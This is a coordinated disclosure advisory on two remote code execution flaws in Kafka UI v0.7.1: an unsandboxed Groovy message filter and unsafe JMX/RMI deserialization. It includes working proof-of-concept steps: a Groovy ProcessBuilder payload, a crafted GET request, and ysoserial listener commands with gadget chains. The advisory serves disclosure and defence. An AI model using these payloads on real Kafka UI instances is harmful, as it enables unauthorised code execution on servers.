Coordinated Disclosure Timeline

Summary

Kafka UI is affected by two remote code execution vulnerabilities. The first vulnerability in the message filtering component leads to execution of arbitrary unsandboxed groovy script. The second vulnerability can be exploited by abusing Kafka UI to connect to a malicious JMX server, which leads to RCE via unsafe deserialization. This is particularly dangerous, as Kafka UI does not have authentication enabled by default. If the authentication is enabled for the Kafka UI instance, an attacker needs to have a valid account.

Product

UI for Apache Kafka (https://github.com/provectus/kafka-ui)

Tested Version

v0.7.1

Details

Issue 1: RCE via Groovy Script Execution in message filtering (GHSL-2023-229/CVE-2023-52251)

Kafka UI allows to display messages going through the Kafka cluster based on the user’s provided filter. One of the filter types supported on the server is GROOVY_SCRIPT. By using this filter, a potentially malicious person can not only view a message’s content and properties, but also execute arbitrary code on the server. This filter is not sandboxed by any means.

Vulnerable method: com.provectus.kafka.ui.emitter.MessageFilters#groovyScriptFilter

static Predicate<TopicMessageDTO> groovyScriptFilter(String script) {
  var engine = getGroovyEngine();
  var compiledScript = compileScript(engine, script);
  var jsonSlurper = new JsonSlurper();
  return new Predicate<TopicMessageDTO>() {
    @SneakyThrows
    @Override
    public boolean test(TopicMessageDTO msg) {
      var bindings = engine.createBindings();
      bindings.put("partition", msg.getPartition());
      ...
      var result = compiledScript.eval(bindings);

Steps to reproduce

  1. Run Kafka UI with the default settings and connect it to any Kafka cluster.
  2. In the Kafka UI, navigate to the cluster->Topics->Messages and create a new filter with the following content:
new ProcessBuilder("touch","/tmp/pwnd.txt").start()

image

The same can be done by sending a following GET request to the application:

GET /api/clusters/local/topics/topic/messages?q=new+ProcessBuilder%28%22touch%22%2C%22%2Ftmp%2Fpwnd.txt%22%29.start%28%29&filterQueryType=GROOVY_SCRIPT&attempt=7&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING HTTP/1.1
Host: 127.0.0.1:8091


  1. If the current topic has any messages, the script will be evaluated immediately on the server. Alternatively, you can send a new message to the broker using the Kafka UI interface to trigger the script execution.
  2. After the execution, a /tmp/pwnd.txt file will be created on the server.

Impact

This issue may lead to post-auth remote code execution. This is particularly dangerous as Kafka UI does not have authentication enabled by default.

Issue 2: RCE via JNDI resolution in JMX metrics collection (GHSL-2023-230/CVE-2024-32030)

Kafka UI API allows users to connect to different Kafka brokers by specifying their network address and port. As a separate feature, it also provides the ability to monitor the performance of Kafka brokers by connecting to their JMX ports. JMX is based on the RMI protocol, so it is inherently susceptible to deserialization attacks. A potential attacker can exploit this feature by connecting Kafka UI backend to its own malicious broker. Instead of setting up a legitimate JMX port, an attacker can create an RMI listener that returns a malicious serialized object for any RMI call. In the worst case it could lead to remote code execution as Kafka UI has the required gadget chains in its classpath.

Prerequisites: This vulnerability affects the deployments where one of the following occurs:

  1. dynamic.config.enabled property is set in settings. It’s not enabled by default, but it’s suggested to be enabled in many tutorials for Kafka UI, including its own README.md.
  2. OR an attacker has access to the Kafka cluster that is being connected to Kafka UI. In this scenario the attacker can exploit this vulnerability to expand their access and execute code on Kafka UI as well.

Steps to reproduce

  1. Run Kafka UI with the default settings and dynamic.config.enabled=true.
  2. Start any Kafka broker with a plaintext listener and no auth(locally or in docker). Do not connect it to Kafka UI yet.
  3. Now we need to set up a malicious JMX listener. We are going to use the ysoserial tool to generate a serizalied object with a payload for remote code execution. For this demonstration, I prepared a special fork of ysoserial in my repository: https://github.com/artsploit/ysoserial/tree/scala1 You can clone and run it with the following commands:
git clone https://github.com/artsploit/ysoserial/
cd ysoserial && git checkout scala1
mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"

The tool will listen on port 1718 for incoming connections.

  1. In the Kafka UI, navigate to the Dashboard->Configure New Cluster and put the address of your kafka broker along with the ysoserial’s JMX port 1718. Make sure you run kafka broker and ysoserial on the localhost or the same host.

Image1

  1. As soon as you add this cluster, you can see an incoming connection in the ysoserial tool. It will respond to the Kafka UI with the malicious payload.

Image2

This payload will be deserialized on the Kafka UI side. It does not trigger RCE directly, but leads to setting the system property org.apache.commons.collections.enableUnsafeSerialization to true. You may notice some errors in Kafka UI logs, this is expected:

Image3

  1. Next, to actually get an RCE, you need to re-run ysoserial with the following command:
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt"

If you wait a little longer, Kafka UI will reconnect to this JMX port to fetch metrics again, which triggers the deserialization of another object. As long as org.apache.commons.collections.enableUnsafeSerialization has been enabled earlier by another payload, it will lead to the execution of the touch /tmp/pwnd2.txt command in the Kafka UI java process.

Again, the Kafka UI log output will be full of errors, but that’s expected: all exceptions are thrown after the deserialization has happened and the command was executed:

Image4

If you’re curious how deserialization triggers System.setProperty and command execution, feel free to have a look the source code for corresponding gadget chains: Scala1.java and CommonsCollections7.java Also, you may set a breakpoint at StreamRemoteCall.java#L271 to see how an object is deserialized.

Impact

This issue may lead to post-auth remote code execution. This is particularly dangerous as Kafka-UI does not have authentication enabled by default.

CVE

Credit

These issues were discovered and reported by GHSL team member @artsploit (Michael Stepankin). Independently of GitHub Security lab, CVE-2023-52251 was also discovered by Lars Thingstad (@Thingstad) and Daniel Christensen (@BobTheShoplifter), who published their advisory at https://github.com/BobTheShoplifter/CVE-2023-52251-POC.

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-229 or GHSL-2023-230 in any communication regarding these issues.